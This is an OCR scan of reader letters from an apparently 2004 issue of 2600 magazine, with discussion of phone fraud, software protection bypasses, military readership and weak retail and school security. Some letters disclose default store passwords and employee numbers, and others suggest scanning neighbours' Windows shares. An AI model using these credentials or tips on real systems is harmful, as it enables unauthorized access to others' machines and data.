cetera) wore black hats. A good example of this is the 
movie Cocaine Fiends (not that I advocate drug use or 
witch hunts against drug users; I advocate black and 
white movies). It had nothing to do with racism, really, 
since almost all the actors of the time were of one race. 
The terms "white hat" and "black hat” have continued 
on since then, having been adopted by those not 
necessarily in the movie industry. 

I agree with what you pointed out. also, how col- 
ored-hat-terms (white, black, red. whatever) are coined 
by businesses looking to make a buck off the fear of the 
ignorant. 

gabriel aaron 

Dear 2600: 

I am writing in response to your article "Paranoia 
vs. Sanity" in 20:4. In it you make reference to "inno- 
cent people" going to jail for accessing computer sys- 
tems without authorization or for simply making "free" 
phone calls.... 

Don't you think that there are certain computer sys- 
tems out there that need to be. and should be off-limits 
either because of the data that they contain or the 
systems that they control? 

When Cliff Stoll was tracking the person(s) who 
had broken into "his" computer systems, he'd found 
that this person was shutting down any and all 
processes that "looked" as if they were put in place to 
"spy" on his activities. Considering that some of the 
systems that he had gained unauthorized access to were 
medical computers, it isn't a very big leap to have seen 
him shut down a process that looked to him as if it were 
a security program designed to catch him. but was in 
fact a control program for a piece of medical equip- 
ment. thereby killing an innocent bystander. Wouldn't 
that have had a consequence in the "real world?" 

And on those "free" phone calls, granted they might 
be "free” for the person who made the call. But in the 
long run who do you think pays for those "free" phone 


Page 3B 


Sl.00 Hagazine 


calls? The legitimate customers with increased fees. Or 
the innocent third party who has had their phone num- 
ber co-opted and used to make long distance/inlema- 
tional phone calls. I know as I was the victim of such a 
"free" call. 

When 1 was living down in St. Petersburg. FL 
shortly after having the phone turned on in my new 
apartment I received a bill from then GTE for the better 
part of $ 1 ,000 for several international calls. I am a dis- 
abled veteran living on a fixed income. At that time 1 
was collecting just under $ 1,000 a month in benelits. 
And I can tell you that I would have never made even 
enough long distance calls to warrant a bill of over 
$100, let alone enough international calls to exceed 
SI. 000. 

Yet when I tried explaining all of this to GTE I got 
nowhere, except for being given the "company line" of. 
"Well Mr. X. because of the hour of day (they chose 
late at night), and the amount of your bill, we feel as if 
you did make the calls." I had two choices. Pay a bill 1 
couldn't afford, or not pay and lose my phone service. I 
choose the latter as I couldn't afford the former. 

So here I sit, a black mark on my credit report for 
failure to pay a phone bill I wasn't responsible for and I 
cannot get service with GTE/Veri/.on because I refuse 
to pay for calls that I never made. So please explain to 
me how the calls that had been made by someone "just" 
looking to make a "free" phone call, were "free?" 

I'm Sony, but there are some lines that shouldn't be 
crossed. 

DigttaLCowboy 

We definitely believe that certain systems (including 
medical systems) should be "off limits. " But that doesn V 
mean simply making it a bigger crime to access them 
and having no actual protection. Such a system has no 
place on a public network where it will be vulnerable to 
all kinds of problems and potential breaches. If. on the 
other hand, such a system gets broken into on a private 
network where presumably users have inside knowl- 
edge, you actually have some sort of motive attached to 
an attack, unlike the randomness of the public network. 

As for the "free" phone calls, you should never have 
been put in that position by the phone company. They 
are obligated to remove any charges from your bill that 
you did not authorize. This certainly doesn't excuse 
people who make fraudulent charges but one thing 
they're not doing is intimidating innocent people. If it's 
any comfort, only wireless phone accounts can show up 
on your credit report. But we believe you should pursue 
this and gel your name cleared. 

Dear 2600: 

A minor correction to point out regarding The 
Prophet's Unlocking GSM Handsets in 20:4 - at the 
end. there is a brief discussion of various cellular and 
PCS technologies including GSM and GPRS. The arti- 
cle slates that GPRS is circuit-switched and can operate 
up to 56Kbps. GPRS is packet-based, not circuit 
switched, and can reach speeds of 171.2Kbps. Cur- 
rently. some users will gel up to 56Kbps depending on 
the carrier, but most aren't there yet. Cingular only does 
9.6Kbps. at least in my market. 

uberphreak 

Dear 2600: 

1 am currently imprisoned... cr employed at Target 
und when 1 saw the article by redxlegion in 20:3 1 had 


to try it. So I did and they all halted the batches nicely. 
But some of the PDTs and LRT's do not have a : but- 
ton. So I had to resort to using the MONARCH gun. As 
1 was fooling around with the MONARCH gun, I saw 
an option of "Radio Check." Curious. I entered it and 
the only thing that came up was "Enter Password 
Here.” So I tried the first thing that came to mind - "Tar- 
get". Hey! It worked just fine! Then my boss walked in 
and I had to start pretending I was doing something so I 
didn't get all that far into that menu. Oh and by the way. 
whoever else wants to try what redxlegion wrote, you 
don’t need to generate an employee number. Target ap- 
parently has this neat little employee number that 
works with anything. All it is is eight eights. That's 
88888888. 

Enonymous 

Dear 2600: 

In 20:4 there was an article about WebLock Pro and 
how to decrypt it. 1 viewed their page while running 
some sniffer software and was able to see their HTML 
unencrypted from the sniffer itself. It seems that 
WebLock Pro uses a system of restriction and authenti- 
cation. rather than actual encryption. Besides that. I 
was able to extract their images by simply taking them 
from my Temporary Internet Files folder. 

Ian "jwoulf" Johnson 

Dear 2600: 

Regarding the article from Schnarf dealing with 
how to defeat Mike Chen's Web Lock Pro software. I 
found today that there is a faster and easier way to do 
so. Use a browser other than Internet Explorer. With 
Mo/.illa 1.6 the link obfuscation fails. With Opera 7.23 
the link obfuscation fails as docs its "content protec- 
tion." Using the Opera browser I was able to gain ac- 
cess to all of (he images on the page that are "protected" 
and I am able to select text (for copy/paste), even 
though Mr. Chen thinks that this is not possible. Per- 
haps he should check his facts. 

The Fallen One 


Dear 2600: 

I am writing in response to czarandom's letter in 
20:4 about WeathcrBug being affiliated with the De- 
partment of Homeland Security. I. as one who aspires 
to having a clean and spyware free computer, was sick- 
ened at the thought of WeatherBug being used as a 
front for data mining by the government. So 1 did some 
research. On WealherBug.com they say. "WeatherBug 
is proud to be a part of the AWS Homeland Security 
Initiative.” Right off that sounds pretty bad. But I kept 
searching and found http://www.aws.com/aws_200l 
••/homeland/ which explains that the AWP. makers of 
WeatherBug, are merely responsible for providing pre- 
cise weather information to the DHS to aid in effec- 
tively responding to whatever the DHS thinks they 
need to. 

rainwaters 


Dear 2600: 

A few issues back a reader of yours talked about 
how many stores with computers on display use the 
store ID as the password. If you think that's low secu- 
rity. try shopping at CompUSA! Only look one guess to 
get into their forbidden account. I got on one of the 
Macs there and attempted to switch from "Customer" 
to "Compusa" which gave me a prompt for a password^ 


anis&tj&h 0 0 4 S 


5E 


Jusi as I was doing ihis. an employee came over to sell 
me something so I entered "compusa" as the password 
and started to walk away because I thought the em- 
ployee would get peeved when he saw the prompt but it 
logged right into the employee account whose desktop 
looks identical to the customer one so he didn't even 
notice. I’ve since gone back and tried this on the other 
display computers. All of them use the compusa/com- 
pusa login! They're overcharging the speakers I wanted 
to buy so I decided not to say anything. By the way. 
great magazine and radio shows! 

Uric M. 

Dear 2600: 

Your advice to ”zs” was Bat out wrong! For starters, 
his first course of action should be to see who regis- 
tered www.zacharysmith.com. which is now redirected 
to a website dealing with First Amendment issues. A 
very quick Google turned up several people under the 
name "Zachary Smith," including the character from 
Lost in Space. Your "advice" to "register the name of a 
vocal pro-lifer” and "work out a trade" could easily re- 
sult in a slander suit against ”zs" (and maybe even 
2600).' And the irony is that whoever registered that 
site, being a third party, is under no obligation to trade. 

Mike Neary 

We’re sorry you didn't see the humor in our re- 
marks. Hopefully you won't mind tlutt we see the humor 
in yours. People running around filing lawsuits against 
everything they don 7 like wind up poisoning the atmos- 
phere for the test of us. There are other ways to he 
heard. 

Dear 2600: 

Is the 46664 underneath the "a" in data a reference 
to the Nelson Mandela Foundation? I looked it up and 
it brought up a bunch of pages on AIDS and Africa. Just 
wondering. It is either that or possibly the mark of the 
beast and the 4's arc horns.... 

drlecter 

Whatever works for you. 

Dear 2600: 

I glanced at page 33 a couple of times, but then 1 
started to recognize the numbers used. That is so 
fucked up. I realize that anyone can get any outcome 
they want by playing around with numbers, but that 
was good. 

Keep up the good work on the mag! 

Blimpieboy 

Thanks for paying attention. 

Dear 2600: 

In reference to Mike’s letter in the last issue about 
the phone number w here someone read a series of num- 
bers, I think I may know the number in question. The 
number 1 remember that matches that description was 
1-800-GOL-FTIP. When you called the number, a 
voice would count from one to ten (might have been 
twelve) with a stutter on seven. It would repeat it, then 
the call would be disconnected. I have no idea what it 
was for but it was an amusing way to waste time when 
bored at school. Hope this helps - mayhe this will trig- 
ger someone's memory. 

YVitchlight 

Dear 2600: 

This is in response to the letter Zardoz wrote in 
20:4. The adobe registration database is a text file: 


/Library/Applicalion Support/Adobe/Adobe Registration's 
Database. 

It looks like what happens is that when you launch 
the app. it looks there for the serial, checks to see it’s 
the real deal and continues if such is the case. I don't 
know if the serial gets encoded somewhere in the bi- 
nary on install and it just mulches them or if all you 
need is a valid serial in the database. 

I often get called into design shops to do spring 
cleaning on their macs. I’ve been keeping this in mind 
because in case I have to do a rcformat/inslall on multi- 
ple macs I'm thinking of backing up the databases for 
each machine, installing Adobe Suite on one of them, 
restoring the db's to their locations, then just copying 
the apps over from the installed machine to the others. 

If it all goes to plan I'd have each machine's original 
legal serial and registration, but ordy have to run the 
installer once. 

Karima Rovetounge 

Dear 2600: 

Sparklx mentions that the version of XP Pro VLH 
provided at the unnamed Uni (ha. "corporate") did not 
require activation after SPI, and even after installing it 
on a new system. 

This is by design. It should not ever require activa- 
tion. WinXP VL keys arc designed to allow rapid de- 
ployment of XP across corporate networks and large 
computing environments in general - activating each 
and every one of I-, 2-, 3-, 400+ systems would be a 
quick deterrent to corporate upgrading from earlier ver- 
sions of the OS - not to mention causing severe 
headaches for MS’s activation servers. 

The statement "So you may have to reactivate but 
that would in no way cause a problem." however, is 
correct in all circumstances. Activation, for all the trash 
talk from various people, is painless. I've had to reacti- 
vate several times, and even when an Internet connec- 
tion was unavailable it took no more than two minutes. 
Telephone activation simply requires that you call a 
toll-free number (MS has activation centers, or at least 
redirectors, in a very large number of countries - "toll 
free" may vary by country, of course) and enter in a 
given key using your phone (you do own a touch-tone, 
right?). 

If for some reason you are unable to enter the code 
yourself (rotary phone, TDD. etc.), there are plenty of 
operators on hand - likely just a transfer to the normal 
MS support call center. If they give you any crap, lake 
their name, ask to speak to a supervisor, yadda yadda. 
MS is pretty harsh on anyone who makes activation 
more painful than "necessary." 

I'm also writing partially in response to the article 
"Holes in Windows 2003 Server" (20:4). People are in- 
creasingly harsh when discussing MS and security. I 
may hold an unpopular view here... but... they are try- 
ing to improve security. Along with the massive size of 
the Windows source, one of the huge obstacles in their 
way is the hard-nosed attitude of many corporations 
and IT "experts/consullants." 

One of the primary reasons XP Pro was shipped so 
insecure is that, during the beta, many IT "pros" decried 
the greatly increased level of security present in early 
beta releases. Complaints about it were constant and 1 
MS finally had to relent. The increased security level n 
"broke" many networks - primarily because the admins I] 
were using bugs and exploits in earlier Windows I 


Page 31 


3h00 Hagazine 


' versions to administer the network, rather than admin- 
istrating the network to mitigate any bugs and exploits. 
This follows also the massive demand for full legacy 
support in XP - though that hasn't specifically come up 
in any of the exploits I have noted. 

The following is a very recent example of this at 
work. For XPSP2, Microsoft is planning to ship with 
1CF (Internet Connection Firewall) enabled by default. 
Many people are complaining about this, saying that 
having ICF enabled will ’’break'' file sharing, printer 
sharing, etc. across the network. God forbid the admins 
actually have to work, creating GPOs or scripts to open 
ports at install. 

ICF handles both outbound and inbound traffic to a 
degree. It is a stateful firewall, opening and closing 
ports on demand. It is also connection-based... though 
it does not verify packets. Man-in-the-middle attacks 
and spoofing would thus easily penetrate it, though 
those attacks are becoming harder to perform over 
time. You can configure ICF via GPOs and netsh scripts 
(using the netsh firewall context, added in SP2). and 
one improvement made for SP2 is ICF loading at boot- 
time in a no-exceptions mode, thus preventing any in- 
bound traffic from reaching the machine before 
requested, and before Antivirus/other security software 
kicks in. This is currently a prime path of infection for 
many XP machines using a software firewall and a 
LAN or "always-on'' broadband connection. 

A wonderful proof-of-concept here would be MS- 
Blast - spread through RPC. ICF, by default, firewalls 
off all ports (excepting the MicrosoftDS port, whatever 
its use) - "stealthing" (to use an improper, though now 
common term) them unless allowed open by the user. If 
ICF had originally been shipped On-by-default, the 
spread of this worm could have been greatly reduced, if 
not halted rapidly. 

Certainly this is no replacement for a properly con- 
figured hardware firewall, but is a definite step up in ba- 
sic security for most users - given that most users don't 
even know what a firewall is, let alone how to set one 
up. 

This is one of a number of long-awaited security 
updates to NT. including disabling remote DCOM ac- 
cess. disabling remote RPC access except via authenti- 
cated system accounts, and a tightened "local machine" 
security zone, which forces any HTML or scripts 
loaded from the local system to a severely (in most 
cases) tightened security zone (as opposed to the nearly 
unrestricted access such files are allowed now). Of 
course, all of these can be disabled via various registry 
settings, etc., so it remains to be seen how useful they 
are. 

Nothing will stop a malicious application from dis- 
abling these things - there's just a much larger barrier 
against them approaching the machine in the first place. 
A machine is only as secure as the user allows it to be. 
Remember that the majority of vectors for virus infec- 
tions still involve the user, not inherent OS (in)security. 

So. the next lime you decry MS for security reasons 
I and yes. there have been plenty of valid reasons to do 
mi without resorting to trash-talk), ask yourself if the 
sysadmins and IT staff where you work or go to school 
would even understand an increased level of security, 
i >r if they would simply disable the "offending” fea- 
tures. Look at the people around you who willingly and 
constantly open attachments from complete strangers. 

1 liven Unix and Unix-likes can be "infected" by mali- 


cious programs when the user allows them to be by his\ 
or her own actions. 

Reverend 

Dear 2600: 

First of all. congratulations on the 20 year anniver- 
sary. You guys always seem to schedule HOPE the in- 
stant I leave the area, so I won't be able to attend this 
year either. But anyway, on to the actual purpose of this 
letter. In issue 20:4 Sparklx wrote that he could always 
reregister his copy of Windows XP by just typing in the 
registration code. This is because he is using the corpo- 
rate edition of Windows XP, which allows a certain 
number of installs per CD Key, which is usually a mas- 
ter key used to identify the organization, like a school 
or business. The reason why you have no troubles reini- 
tializing your installs is because that version and key 
are meant to be installed on a wide variety of machines 
right from the get-go, so making the corporate version 
freeze itself after a hardware change is bad. because 
there's more than one physical computer per copy of 
Windows. The single-user versions (Home and Pro) 
will not let you reregister the product easy-peasy like 
that, you have to go call M$ and they'll walk you 
through resetting it. Unless of course you don't have an 
active Internet connection. Then you have to cry in the 
comer for a few days until they send you something to 
restore it with. Hooray for shitty companies. 

Also worth noting concerning Windows XP. Mi- 
crosoft has re-released the PowerToys toolkit, which 
can be found here: 

http://www.microstift.com/windowsxp/pro/downloads 

"•/powertoys.asp 

Some good stuff is included. 

Daniac 

Dear 2600: 

Hello. I've been reading 2600 for as long as I re- 
member. First off. I've never been very intrigued by 
groups of people with an "extremist" point of view. 
And 1 think that a lot of the times the hacker commu- 
nity either gets categorized under this heading or legiti- 
mately is under this heading. But as strong as your 
opinions are on current affairs and freedom of speech, 
it's never really struck me as being extremist, even 
though all of the characteristics are there. There's just 
something that seems right about what you're fighting 
for. There's no real hatred to speak of in your message 
(as there is in a lot of groups nowadays all across the 
board). Your message seems to be that of understanding 
and hope that the world won't become some Orwellian 
nightmare. 

I just wanted to finally write you guys to say keep 
up the good fight, and remember, there are people in the 
government right now (not just trying to get in) that 
want to help our cause, and we need to utilize them to 
the best of our ability. 

NGTV|3 

Help Offered 

Dear 2600: 

1 have read many letters in 2600 complaining of 
telemarketers. Well, I'm a telemarketer and I hate my 
job and 1 hate the company I work for. Is there any info 
I can get to help you guys? I work for Sitel Corp. We 
sell accidental death insurance for JCPcnny. Bank of 
America, Chase Bank, and many many more. I do 


know that Sitel is barely given any customer informa- 
tion besides phone number and address, sometimes a 
birthday. 

loco freak 

Any info you can give us on how that whole indus- 
try works is something that would benefit a good num- 
ber of individuals out there. As with all of our company 
insiders, we recommend keeping a low profile and not 
revealing any information that could gel back to you. 
We believe people have the right to know this kind of 
thing, even more so than such companies believe they 
have the right to know things about us. 

Observations 

Dear 2600: 

Recently I have been noticing the use of insecure 
operating systems in many many more devices. For ex- 
ample. British Telecom seems to be using Windows XP 
(perhaps Emhedded) on their now quite common Inter- 
net enabled phone booths. I know it is XP because they 
regularly blue screen and dump details of the crash to 
the screen. Worse still, 50p gets you a quick trip to 
whatismyip.com and a brief scan with nmap reveals 
several attack vectors. Perhaps in the future mass phone 
hacking will be a new form of protest or terrorism? 

Speaking of phones. I'm sure many readers will 
have heard about "bluejacking," the act of cracking 
someone's mobile phone via bluetooth. UK cable TV 
subscribers might like to plug their TV directly into 
their wall outlet and scan the frequencies. On NTT you 
can often find a channel showing some kind of Win- 
dows desktop (looks like 2K) running diagnostic soft- 
ware. Sometimes you can even see the IP address of the 
machine. Speaking of which, why not download a Win- 
dows share scanner and scan your local class C subnet - 
you are sure to find at least two or three machines will- 
ing to offer up their drives for you to browse. You can 
even print to random people's printers. 

Most worrying of all is what I discovered about po- 
lice computer systems here in the UK. The police na- 
tional computer has been cracked before, but rather 
than learn from the lesson they seem to have installed 
more insecure hardware. For example, many police 
cars in the south are now fitted with some kind of com- 
puter terminal running Windows 98. Windows 98, an 
OS that even Microsoft abandoned as fundamentally 
flawed and unfixable. Sometimes you can pick up ac- 
tive WiFi cards running in the cars loo - quite a lethal 
combination I’m sure you will agree. 

If you can't trust important systems like these, you 
have a real problem. 

Mojo 


Dear 2600: 

You guys give inspiration to all the free minds, to 
not just think outside the box but outside the shell as 
well.. Did you know that 2600 is the zip code in the city 
of Parachinar in Peshawar (Pakistan)? 2600 is also the 
home to the NBP Operations Parhoti Main Branch.. By 
the way. is that Olivia on page 2 of 20:3? Also, in Nepal 
a group of rebels have been fighting for a communist 
republic since 1996 and the uprising has so far claimed 
more than 2.600 lives. Which led to the formula on 
page 33 in 20:3. Sheer brilliance! 



4? 

Poetics 

And every now and then there's simply no possible 
answer. 

Dear 2600: 

I started reading 1 9X4 this Monday afternoon after 
class and stumbled across something rather ironic: the 
leader of the opposition of the "Party" is named 
Emmanuel Goldstein. Just thought this was kinda scary 
and possibly foreshadowing considering that the 1984 
atmosphere seems to be more and more of a reality in 
the USA through the "improvement" of our rights and 
freedoms. Just thought I'd bring this up even though I'm 
sure someone pointed it out already before I did. Keep 
up the good work and can't wait until the next issue! 
(By the way. does anyone know of a location in Paris or 
France where 1 could get ahold of 2600?) 

Jim_Steele 

We hope to have a complete list of our international 
distribution points in the near future. We do know that 
they leave a lot to be desired and we're trying to figure 
out a way to fix that. 

Dear 2600: 

I attend a high school in central California that is. 
like most places in the central valley, unbelievably con- 
servative. Most of the looks I gel from people who see 
"The Hacker Quarterly" on my sweatshirt are simply 
priceless, but nobody recognizes 2600 for what it is. 
Oddly enough, the only person who did was our foren- 
sics teacher. After spying my sweatshirt, he and I en- 
gaged in an interesting conversation about hacking. 
Evidently, he was one of the "originals" who started 
hacking back before 2600 was even in print. Hacking 
Arpanet with his college buddies was one of his most 
memorable experiences. Thanks for the means to do 
something interesting and worthwhile during school. 

jake 

Dear 2600: 

This could be way off base, but I had heard of peo- 
ple stealing PBX accounts and then recording the pass- 
word as the greeting. This allowed litem to use the 
account as kind of an audio message board. Not sure- 
just a thought. 

drlecter 

Wouldn 't it also allow them to instantly lose the ac- 
count to the next idiot who wanted it for themselves? 
Not to mention the original owner. 

Dear 2600: 

This is perhaps the lowest level "hack" to ever ap- 
pear in this outstanding magazine but if you press both 
the left and right buttons at the same time on a National 
Vendors Shoppertron food vending machine, the dis- 
play will show the current time and internal tempera- 
ture in the format HH.MM DDF (e.g. "11.20 39F" for 
1 1 .20 am, 39 degrees). After a few seconds, the display 
goes back to normal. This has me curious as to what I 
can do with the front panel buttons on other vending 
machines. Til let you know. 

Don't let the fascists bite. 

SAR 


Dear 2600: 

I'm not a longtime reader, but keep up the good 
work. I was watching the news and there was a shorty 


Not everything you say is true. 

•Page 3 k 


darkpoJt 


Sb 00 klagazina 


seel ion on the use of touch-screen ballot machines. 
I'hey were talking about how these were being imple- 
mented in Florida to avoid a repeat of the fiasco of 
’000. 1 am sure that you have seen these machines be- 
fore. They use a keycard that you slide into a card 
reader on the machine to allow use of the touch-screen 
and to identify your vote. There was a "computer ex- 
pert” who was quoted as saying that anyone with good 
knowledge of computers could use software to allow 
the cards to register multiple votes or gain access to the 
terminals for other purposes. I just wanted to bring this 
to the attention of the 2600 community as I thought it 
was interesting. 

I.ouie 

Dear 2600: 

We recently had an issue in our office with some- 
one's wireless keyboard and mouse being picked up on 
someone else’s wireless keyboard and mouse receiver 
across the building (through several walls). They were 
on the same channel and a simple channel change for 
one of the units fixed the problem. This to me seems 
like such an obvious security issue. I know that people 
have been building rigs to capture xlO cams, so why 
not a unit that can capture wireless peripherals? Seems 
like a keyboard would be the most useful to capture. 1 
know a keyboard can't transmit nearly as far as. say. an 
AP. but in the dense work environments of big cities, it 
may prove useful to look into. 

lint 

Dear 2600: 

On February I Ith. Army Chief of Staff Gen. Peter 
Schoomaker approved the wear of the reverse field 
U.S. flag on the right shoulder of all soldiers through- 
out the force regardless of deployment status. This 
l>alch, up until now, has only been worn by troops dur- 
ing deployment in a joint or multinational operation. 
I'he change is said to represent "our commitment to 
tight the war on terror for the foreseeable future." To 
put it a different way. it is another symbol of our con- 
stant state of war without end. Soldiers have until Octo- 
ber 1 . 2005 to get the insignia sewn on their uniforms 
due to limited supplies (it also shows that this change is 
going to last a while). 

To most civilians, this change in uniform policy 
might seem trivial. As a soldier, I can tell you that such 
a change is very significant. The various insignia on a 
uniform can tell a great deal of information about the 
individual wearing it, such as his/her training and ac- 
complishments. It has great symbolic meaning that can 
affect the state of mind of the person in that uniform. To 
wear the reverse field flag is to be in the mindset of 
being deployed at all times, be it at home or abroad. 

Stephen 

Military Readership 

Dear 2600: 

This is in response to the editor's comments regard- 
ing c()10r3dfr34k's letter in 20:3. Although it is not for- 
bidden to receive 2600 while in the military, it can be 
nsky. I receive my subscription to my military mailing 
address and I have not encountered any problems from 
the postal workers (also military), mainly because of 
the packaging the magazine is shipped in (thank you). 
I he reason it can be risky is due in large part to the im- 
age that accompanies a hacker. The military has nega- 


tive views of this image. Like any other organization’ 
one could work for. it's all about your reputation. If 
your reputation is damaged your career could be dam- 
aged and chances for advancement become minimal. 
And if you're someone like me who works in the com- 
munications. electronic, or intelligence fields and deals 
with classified materials, your risks run greater. Then 
again you'd be surprised at how many people in these 
fields read and know about 2600. Continue to enlighten 
and I'll continue to read... as long as you stay with the 
inconspicuous packaging of course. 

dOrk 

Dear 2600: 

This letter is in response to the issue brought up in 
20:3 regarding whether it is risky or forbidden to re- 
ceive 2600 while in the military. As far as your average 
military man or woman, legally I don't think they can 
forbid you from reading or receiving your fine publica- 
tion. While in the service you are supposed to have the 
same rights as anyone else. However, there are a few 
cases where it would definitely be risky. While in boot 
camp for example, your mail is closely monitored. 1 re- 
member when I was in boot camp my buddy tried send- 
ing me a copy he hid in a package he sent tnc. My drill 
instructor found it and he threw it out. It might also be 
risky if your job in the military has something to do 
with computers or security. With the constant threat of 
terrorism, these fields are closely monitored and some 
red flags might be raised in that situation. 

If they would just read the magazine, they would 
realize it's about addressing issues and sharing informa- 
tion. But sadly, they make their judgments from that 
one "dirty" word on the cover. 

misterjaget 

Dear 2600: 

In response to the letter from cOIOr3dfr34k and 
your follow-on question about whether receiving 2600 
was forbidden or risky, it most certainly is not risky, 
forbidden, illegal, unlawful, or anything else. I have 
served in the US Army (including being deployed for 
OEF/OIF) for nearly 19 years and am in a position to 
respond with some degree of authority. 

I am a certified, glorified, and professional com- 
puter geek (system developer, program manager, soft- 
ware engineer, etc.) for the Army and have used my 
skills and talents (acquired from many formal and in- 
formal sources such as 2600) to better the systems used 
by today's military forces deployed throughout the 
world. It is never wrong to learn and to apply knowl- 
edge where appropriate. 

I will warn folks, however, that to attempt to use 
their skills and knowledge to exploit military systems 
may indeed be illegal and I strongly discourage such 
actions. Guys like me will find you and you don't need 
the hassle. Not a challenge, only a fact. 

If cOIOr3dfr34k will send you guys an address, 1 
will personally ensure that he receives 2600 while 
deployed. 

Have a hooah day and keep putting out 2600. It is a 
great source of information and entertainment (for a 
geek like me). 

MegaGeek 

Dear 2600: 

I picked up my first ever 2600 Magazine last 
month, issue 20:3. and noticed a fan letter from a 


Spring S 0 0 V 


Page 37 



soldier stationed in Kuwait. You wanted to know if it 
was forbidden or risky to receive 2600 if you were in 
the military. Just so you know, it is not. In fact, in the 
intelligence community it is encouraged. My father, a 
former intel officer, required 2600 and other related 
magazines be read by those under his command for 
both educational and security purposes. Also, their 
right to read whatever they want is constitutionally 
protected in the U.S. just like civilians' rights arc 
protected. 

Anyway, just wanted to let you know. The maga- 
zine is great and I can't wait for the next issue. 

slack_pizza_guy 

Dear 2600: 

Here's the deal. 

Department of Defense Directive 1325.6 "Guide- 
lines for Handling Dissident and Protest Activities 
Among Members of the Armed Forces" - 3.5. 1.2. 
While the mere possession of unauthorized printed ma- 
terial may not be prohibited, printed material that is 
prohibited from distribution shall be impounded if the 
commander determines that an attempt will be made to 
distribute. 

What this means is that you can have and read 2600 
on base. There are many other rights that active duty 
people have that a local command may try to tell you 
that you do not. Go to http://girights.objector.org to find 
out more. 

jim 

Dear 2600: 

There seemed to be some confusion about receiv- 
ing/reading 2600 if you are in the military. I work in in- 
formation assurance for the Marine Corps, so I can 
speak for the USMC's stance on publications such as 
2600. Any reading material that could be beneficial to 
the security of our network is encouraged. There is no 
discrimination against this publication, or any other 
books for that matter (that are job related). I’m a sub- 
scriber and my issues are delivered to my place of work 
(which is a secure building). Nobody has a problem 
with me reading the magazine, and I'm generally asked 
if anything useful was mentioned in the magazine after 
I'm done reading it. Education is encouraged through- 
out the DoD as far as I've seen. 

As far as the article by sunpuke (DISA. Unix Secu- 
rity. and Reality ) is concerned - the article was true but 
people need to realize that the DoD doesn't rely on 
DISA STlGs. DISA is currently putting out Gold Disks 
for Windows 2000, Windows XP, Windows 2000 
Server, Solaris, and Linux. These disks help automate 
the process of securing a machine. All the Windows 
disks are publicly available while the Solaris and Linux 
disks are still in prototype so they have to be personally 
requested. The files are available at https://pa!ches. 
••monl.disa.mil/golddsk.hunl - although this site might 
not be accessible outside the .mil/.gov realm. The DoD 
takes security very seriously and as far as the Marine 
Corps is concerned - we have a very strong focus on 
computer security. 1 don't know anybody that uses the 
DISA STIGs. For the most part people use a combina- 
tion of NSA papers (http://www.nsa.gov/snac/), com- 
puter security books, and whatever knowledge they've 
picked up in Uaining. 1 just wanted to point out that 
from my standpoint, we keep track of everything going 
on in the security industry and I feel we keep up to date 


with everybody else. \ 

Anyways, thanks for putting out a great magazine. 

ESQ 

A Problem 

Dear 2600: 

Currently I have someone stalking my family from 
a location in Ohio. Making a very long story short, he 
calls my house and my caller ID shows a "token" tele- 
phone number. He can call back in a minute and the 
caller ID will show a completely different number 
across the U.S. He has gone as far as to call the local 
police department and pose as a member of my family 
claiming to have murdered the entire family. Needless 
to say the SWAT team showed up and the rest is history. 
My research shows that this perpetrator has done this 
before numerous times. The Ohio state police depart- 
ment is aware as is the local police department where I 
live. He has served time in prison for assault and drugs, 
so he is capable. I am trying to protect my family. 

My question looks to you to figure out how to iden- 
tify where he is calling from. Is there a way? I would so 
appreciate any help. Prior investigations have dead- 
locked at that point. Thank you! 

ALI 

Let's see if we have this straight. The police depart- 
ments know who this guy is and he has yet to he prose- 
cuted? Why aren't they tracing him themselves? They 
certainly have the ability. There are also all kinds of 
clues you can uncover if he is indeed stalking you. such 
as why you were selected, things he's made reference 
to. hints as to location, etc. But again, if you already 
know about his record ( and presumably his name), then 
it should be easy for anyone with access to law enforce- 
ment to track him down. Without that access it becomes 
trickier but by no means impossible. Every case is dif- 
ferent which is why we can't give you a surefire answer. 
But it sounds to us like you already have something to 
go on here. 

As for spoofing caller ID. as we've said before it's 
quite easy and can be done in a number of different 
ways. Unfortunately, people still believe that this infor- 
mation is secure and infallible. As your case demon- 
strates, it is far from either. 

The Power of Ignorance 

Dear 2600; 

I really wanted to come to HOPE this year and had 
thought I had the okay from my parents. But, during 
dinner, the subject came up and my grandpa com- 
mented. "Oh, you don't want to go to that hacker con- 
vention because then the government gels you on their 
'list.'" This actually hurt me. I thought that the govern- 
ment couldn't do that. They said. "Once they get you on 
their list, they blame you for things you didn't have 
anything to do with. They can grab hold of you and just 
keep you in the questioning room.” I didn't think they 
could do that, but I must be wrong. Or maybe my par- 
ents have this all mixed up. Then they said. "The gov- 
ernment can get a list of the attendees of the 
conference." I know you would never release a list of 
attendees but they wouldn't believe me. Can you shed a 
little light on this subject? 

lhe_heretic 

We never have done and never would do such a 


Page 3d 


Shoo Bagazina 



' liing. Bui with this kind of attitude, there's no need for 
lists or surveillance. Intimidated citizens often do the 
work of oppressive regimes with nothing more than 
their own fear motivating them. It's so much cheaper 
than actually imposing the draconian laws. 

Dear 2600: 

Hey guys, thought you might like to hear this. 1 
used to attend a college campus in the greater 
Dallas/Fort Worth area - Tarrant County College, 
www.tccd.net. Well, after two semesters there I trans- 
ferred to a major university and pretty much got my ass 
handed to me. So I chose to transfer back to my original 
school. I chose to enroll online just because it is more 
convenient. While searching in their mess of a website 
I found a link that said "Currenl/Former Students." 
When I got to that page it asked for a user ID and pass- 
word. Well. I hadn't gone there in a year so I didn't re- 
member. I clicked on the link that said "Forgot 
Username." All that they require is a Social Security 
number and gasp, a last name. This is their security for 
valuable student info. Something anyone could break 
with a copy of the teacher's role sheet. The role sheet 
that the campus hands out to teachers is a student's last 
name, first initial, and Social Security number. There’s 
nothing about secret questions with secret answers or 
information that would only be sent to your e-mail. Just 
a security system that any social engineer could easily 
break, or better yet anyone with a phone and a Mitnick 
book (The Art of Deception is a great book). Also, stu- 
dents have their information involuntarily put into this 
type of system. This was only the second time that I 
used their web page in over a year. 1 had a friend that 
attended and graduated over five years ago who was 
able to pull up all his personal information. I hope I 
don't get in trouble if someone reads this and does 
something bad. I might be held liable. 

AltSp4c3Ctrl 

We're sorry to say this kind of setup is not at all 
atypical. 

Dear 2600: 

I spent four years working as a systems support 
specialist for the Black and Decker Corporation's North 
American power tools distribution division. These few 
years represent my first and last real corporate adven- 
ture I will choose to participate directly in. At the be- 
ginning I pictured it as a wonderful opportunity to 
discover all sons of things about servers and expensive 
computing equipment and high-level software. I have 
no doubt I learned a lot. The unpaid salaried overtime 
rose quickly to the point where on any given month 
there might be one to three full Saturday and Sunday 
weekend nights to work in addition to the usual five 
day work week. I worked on third shift so I had a lot of 
lime to write software and create all sorts of data pro- 
cessing engines that move information between their 
